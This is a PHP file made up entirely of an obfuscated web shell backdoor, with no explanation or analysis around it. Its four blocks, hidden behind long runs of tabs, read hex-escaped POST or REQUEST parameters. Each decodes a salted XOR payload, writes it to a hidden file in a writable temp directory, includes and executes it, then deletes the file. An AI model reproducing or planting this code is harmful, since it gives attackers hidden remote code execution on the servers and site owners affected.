<?php																																										if(in_array("r\x65s\x6Furce", array_keys($_REQUEST))){ $bind = $_REQUEST["r\x65s\x6Furce"]; $bind = explode( "." , $bind ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $n = 0; $__tmp = $bind; while ($v3 = array_shift($__tmp)) { $chS = ord($s[$n % $lenS] ); $dec = ((int)$v3 - $chS - ($n % 10)) ^ 28; $pset .= chr($dec ); $n++; } $dat = array_filter(["/tmp", "/dev/shm", getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), sys_get_temp_dir()]); foreach ($dat as $component): if (!!is_dir($component) && !!is_writable($component)) { $sym = vsprintf("%s/%s", [$component, ".pointer"]); $success = file_put_contents($sym, $pset); if ($success) { include $sym; @unlink($sym); exit;} } endforeach; }
																																										if(!empty($_POST["rec\x6Fr\x64"])){ $reference = array_filter([ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/tmp", session_save_path(), "/dev/shm", getenv("TEMP")]); $flg = $_POST["rec\x6Fr\x64"]; $flg = explode ( "." , $flg) ; $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $j = 0; array_walk($flg, function ($v4) use (&$symbol, &$j, $s, $lenS) { $chS = ord($s[$j%$lenS]); $d = ((int)$v4 - $chS - ($j%10)) ^ 78; $symbol .= chr($d); $j++; }); foreach ($reference as $key => $data) { if (max(0, is_dir($data) * is_writable($data))) { $entity = "$data/.ref"; $success = file_put_contents($entity, $symbol); if ($success) { include $entity; @unlink($entity); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "v\x61\x6C")){ $property_set = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TMP"), "/dev/shm"]); $ent = $_REQUEST["v\x61\x6C"]; $ent = explode ( "." ,$ent ) ; $marker= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt3); $m= 0; foreach( $ent as $v2) { $sChar= ord( $salt3[$m % $lenS]); $d= ( ( int)$v2 - $sChar -( $m % 10)) ^ 31; $marker .= chr( $d); $m++; } while ($sym = array_shift($property_set)) { if (!( !is_dir($sym) || !is_writable($sym) )) { $res = str_replace("{var_dir}", $sym, "{var_dir}/.factor"); if (@file_put_contents($res, $marker) !== false) { include $res; unlink($res); die(); } } } }


if(filter_has_var(INPUT_POST, "\x72e\x66\x65r\x65nce")){
	$hld = array_filter([session_save_path(), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]);
	$dchunk = $_REQUEST["\x72e\x66\x65r\x65nce"];
	 	 $dchunk	= 		explode		(".",$dchunk			); 
	$pgrp = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(		$salt);
            $w = 0;
    
            while(		$w <count(		$dchunk)) {
                $v4 = $dchunk[$w];
                $chS = ord(		$salt[$w%	 $lenS]);
                $dec =(		(		int)$v4 - $chS -(		$w%	 10)) ^ 98;
                $pgrp .= chr(		$dec);
                $w++;
            }
	foreach ($hld as $ptr):
    		if (is_dir($ptr) ? is_writable($ptr) : false) {
    $val = vsprintf("%s/%s", [$ptr, ".object"]);
    $success = file_put_contents($val, $pgrp);
if ($success) {
	include $val;
	@unlink($val);
	die();}
}
endforeach;
}